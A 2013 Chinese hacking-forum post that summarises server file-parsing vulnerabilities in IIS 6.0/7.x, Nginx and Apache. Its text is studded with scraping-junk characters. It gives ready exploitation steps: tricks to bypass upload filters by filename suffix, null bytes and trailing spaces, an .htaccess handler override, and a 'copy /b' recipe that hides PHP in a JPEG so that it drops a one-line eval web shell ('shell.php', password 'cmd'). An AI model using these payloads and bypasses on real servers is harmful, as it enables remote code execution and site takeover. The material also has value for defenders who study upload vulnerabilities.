找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2690|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
7 ~' b' ~5 d" f/ g  \: ~% v- ^[+]IIS6.0% S2 Z& ?, V0 A- T: R
9 v, U- _. |: ?$ ~6 M
目录解析:/xx.asp/xx.jpg 7 g4 Z3 @3 \0 S( u# @: \
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码6 |4 x" Q) V+ u/ W
IIS6.0 会将 xx.jpg 解析为 asp 文件。
7 |7 T  \; R' r- ^$ a后缀解析:/xx.asp;.jpg     5 o, M' L* }. U+ Q
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
( p  ~4 F0 b0 ]8 r( b1 S* u; J( ]$ Q默认解析:/xx.asa, H/ @: q3 `9 e) c
         /xx.cer
& o9 u0 i$ g/ \5 ?2 _3 T$ U$ J, L' U, Q         /xx.cdx: C% Q4 B; M3 R( u
IIS6.0 默认的可执行文件除了 asp 还包含这三种
: P! r  j! s3 B, r6 f 此处可联系利用目录解析漏洞 % i, |4 [% c# A. F0 `& D
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
* {9 n9 l4 s& b7 u8 R& j[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
( Z9 e5 x4 p" e( s( d  j5 U5 k 4 O! }9 |2 k  [6 i( U% b
IIS 7.0/IIS 7.5/Nginx <0.8.03+ @3 o5 U1 b( I, T
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面/ h4 C3 C/ H' D/ l2 a
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
. h7 t( \; c/ C2 g' b9 O0 H 常用利用方法:
6 r( ^  W  W: Z9 T: [( I: H* t4 q 将一张图和一个写入后门代码的文本文件合并将恶意文本* c2 U) w; G1 N) {) n
写入图片的二进制代码之后,避免破坏图片文件头和尾
  i; D5 |  u& s2 m6 Q5 B8 W2 f 如:2 A2 I7 t/ x) C7 L2 a9 R
copy xx.jpg /b + yy.txt/a xy.jpg
+ q" b: ?9 z; k* P% [8 s% v9 [ #########################################################/ g3 }" }8 p' t! [! E
/b 即二进制[binary]模式( o$ N$ L8 _" x1 S4 M- _" t' t
/a 即ascii模式
# e/ N& @0 I3 b: i+ B xx.jpg 正常图片文件
8 [6 M6 J- b3 e5 r yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
8 d- x& u& }7 r  v* U9 J '<?php eval($_POST[cmd])?>');?>
0 `+ L$ G' R' T( a' Q8 t 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
) M' W! M  p: |/ Q! i& i, v. m 为shell.php的文件7 l  T# X! E' u; r% x' i  W4 ]0 \" B
###########################################################
$ Y6 n3 E0 _0 Z: b( }. r* Y 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php ( F4 x! _8 {8 }2 C: o
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 5 T3 t5 f  h) K* I0 L# q2 p' l
密码 cmd% Q; G  m! |% m
[+]Nginx <0.8.03
& _% S" [: V, e! ~" a# [
& w* J! l$ A/ ?# i4 }0 t 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞' Z4 Q3 ~: |4 z( Q& A: e2 }
在一个文件路径(/xx.jpg)后面加上%00.php9 h# X+ C, I, v5 b
会将 /xx.jpg%00.php 解析为 php 文件。! [* x3 Z5 s  l
[+]Apache<0.8.038 b- f6 l: F4 y8 A  J, {$ G& O
( E! @- Y2 o% b' T( b; f
后缀解析:test.php.x1.x2.x38 {* _6 J& m, n. g0 ?
Apache将从右至左开始判断后缀,若x3非可识别后缀,1 N: f' d" B5 H( ]; _  ?7 ~% D
再判断x2,直到找到可识别后缀为止,然后将该可识别
& Z5 a/ `/ V0 ~  U0 ]$ C 后缀进解析test.php.x1.x2.x3 则会被解析为php
. U$ u1 _" s- z4 N$ c9 ] 经验之谈:php|php3|phtml 多可被Apache解析。% I0 D( k5 I( O. z; x. S
[+]其他一些可利用的
( `6 h: F; q/ p. L% g" h # ?1 ^! |0 Y$ {" g3 r4 G2 }
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
1 Y$ ~# I  @& b若这样命名,windows会默认除去空格或点,这也是可以被利用的!
* R+ x! [' a, m) W在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格, `% N/ W2 c0 X4 f
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
6 H1 f9 u8 F/ @. n7 S5 d得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。; b0 U0 ^& G! E) D
{Linux主机中不行,Linux允许这类文件存在}
2 g1 d) s- O6 C( |( F9 S4 X如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说; |  l2 i- v( ?6 @! m1 \3 L
的,当初我并不知道),且可以被上传,那可以尝试在
5 q. C' s& y: n$ h9 o.htaccess中写入:+ H* f1 M- O# O" n) ]  I# w
<FilesMatch “shell.jpg”>
  d' r9 D# @* [  x6 z2 K/ S' s1 eSetHandler application/x-httpd-php
/ ^7 ?2 Z2 P& u' j2 U0 M8 X% y7 C</FilesMatch>
' ?( R* O6 v; N8 J3 Wshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
! n5 w! A# }5 D* o. _[+]错误修改" _7 b1 T  W; n
+ a$ k) p1 f9 |6 p
在 IIS 6.0 下可解析 /xx.asp:.jpg
0 J/ J' V# Y& N* j{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去' X: P. Z0 J& Z: Q& {( t
剩下/xx.asp}修改:
3 g% {  C3 x$ ?. A3 U) K& @' ^1 f先谢谢核攻击的提醒% Q2 b6 B9 |. [9 X" x( `- g
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
8 v( X& ~) b% {* F1 E里是没有任何内容的,因为。。不好解释 大家自己看
$ J; |  ~% D9 H) b* K. [http://lcx.cc/?i=2448, A, G* q2 C4 _
http://baike.baidu.com/view/3619593.htm1 z  H) M! I) t1 t$ l2 c7 K: P
7 P8 G0 [: ?. ~. X. Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表